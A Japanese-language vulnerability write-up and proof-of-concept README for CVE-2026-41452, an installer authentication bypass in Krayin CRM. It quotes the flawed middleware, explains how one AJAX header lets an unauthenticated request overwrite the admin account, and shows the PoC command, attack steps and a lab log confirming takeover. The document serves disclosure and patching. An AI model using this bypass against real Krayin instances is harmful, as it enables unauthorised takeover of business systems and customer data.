CVE-2026-41452 — Krayin CRM インストーラーの認証バイパス → 管理者乗っ取り

CVSS 9.8（Critical） · CWE-287 / CWE-306 · Jiva の解説 · VulnCheck

概要

Krayin CRM のインストーラーは、POST /install/api/admin-config-setup（および run-migration、run-seeder）を CSRF 保護なしで（withoutMiddleware('web') グループ）公開しています。CanInstall グローバルミドルウェアは、非 AJAX リクエストに対してのみルートをブロックします。

// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
    return redirect()->route('admin.dashboard');
}

X-Requested-With: XMLHttpRequest を送信すると、チェックが完全にスキップされます。コントローラーは、攻撃者が指定した名前/メール/パスワード（role_id=1、status=1）で ハードコードされたプライマリ管理者（ユーザー id=1） を updateOrInsert し、既にインストール済みのインスタンス上で 認証なしの完全な管理者乗っ取り が成立します。

影響を受けるバージョン: ≤ 2.2.0 および 2.2.4（リグレッション）。修正: 2.2.1（e4eb96f5）、2.2.4 で再発（6a7bc4cc）、2.2.5 で再修正（ea4919a8）。調査時点では master は依然として脆弱でした。

エクスプロイト

python3 poc_cve-2026-41452.py http://TARGET newadmin [email protected] 'NewPass@123'

連鎖手順:

ベースライン: 非 AJAX POST → ブロック（302 リダイレクト）— 通常のリクエストに対してミドルウェアが機能することを証明
AJAX POST X-Requested-With: XMLHttpRequest → HTTP 200 1 → 管理者（id=1）が上書きされる
新しい認証情報で /admin/login にログイン → /admin/dashboard にリダイレクト
ダッシュボードが表示される → 乗っ取りが確定

検証（2026-08-12、Docker ラボ、ARM64）

[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall)        [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login [email protected] -> HTTP 302 /admin/dashboard          [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard)          [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===

修正済みビルドとの比較: v2.2.5 のファイルでは、同じ AJAX POST は HTTP 403（ブロック）になります。

影響

公開されて到達可能な Krayin CRM インストール（v2.2.4 または ≤2.2.0）は、認証されていない攻撃者によって 1 回のリクエストで完全に乗っ取られる可能性があります。CSRF も認証情報もユーザーの操作も不要です。

参照

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41452
Jiva Security の解説: https://jivasecurity.com/writeups/krayin-installer-bypass-account-takeover-cve-2026-41452
VulnCheck アドバイザリ: https://www.vulncheck.com/advisories/krayin-crm-missing-authentication-via-install-api-admin-config-setup
修正: ea4919a8（v2.2.5）・リグレッション: 6a7bc4cc（v2.2.4）・最初の修正: e4eb96f5（v2.2.1）

CVE-2026-41452-PoC

人気